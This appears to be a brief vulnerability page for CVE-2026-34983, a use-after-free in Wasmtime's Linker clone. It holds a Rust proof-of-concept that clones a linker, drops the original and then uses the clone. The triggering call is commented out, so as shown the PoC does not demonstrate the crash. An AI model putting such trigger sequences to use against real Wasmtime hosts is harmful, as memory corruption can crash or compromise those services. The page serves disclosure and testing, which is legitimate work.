CVE-2026-34983 Wasmtime Linker克隆UAF漏洞

// PoC for CVE-2026-34983: Wasmtime Linker Use-After-Free // This demonstrates the specific sequence of API calls required to trigger the bug. use wasmtime::*; fn main() { // Step 1: Initialize the engine and the original Linker let engine = Engine::default(); let mut linker = Linker::new(&engine); // Configure the linker (e.g., add WASI functions) to populate internal state wasmtime_wasi::add_to_linker(&mut linker, |s| s); // Step 2: Clone the linker // In version 43.0.0, this clone operation is unsound. let cloned_linker = linker.clone(); // Step 3: Drop the original linker instance // This frees the internal memory resources. drop(linker); // Step 4: Use the cloned linker instance // Accessing the cloned linker after the original is dropped triggers the Use-After-Free. // This typically results in a segmentation fault or memory corruption. println!("Attempting to use cloned linker..."); // Example operation that would trigger the crash // let _ = cloned_linker.module("", &Module::new(&engine, "(module)").unwrap()); // If the program reaches here without crashing, the environment might not be susceptible // or the allocator behavior masked the issue. }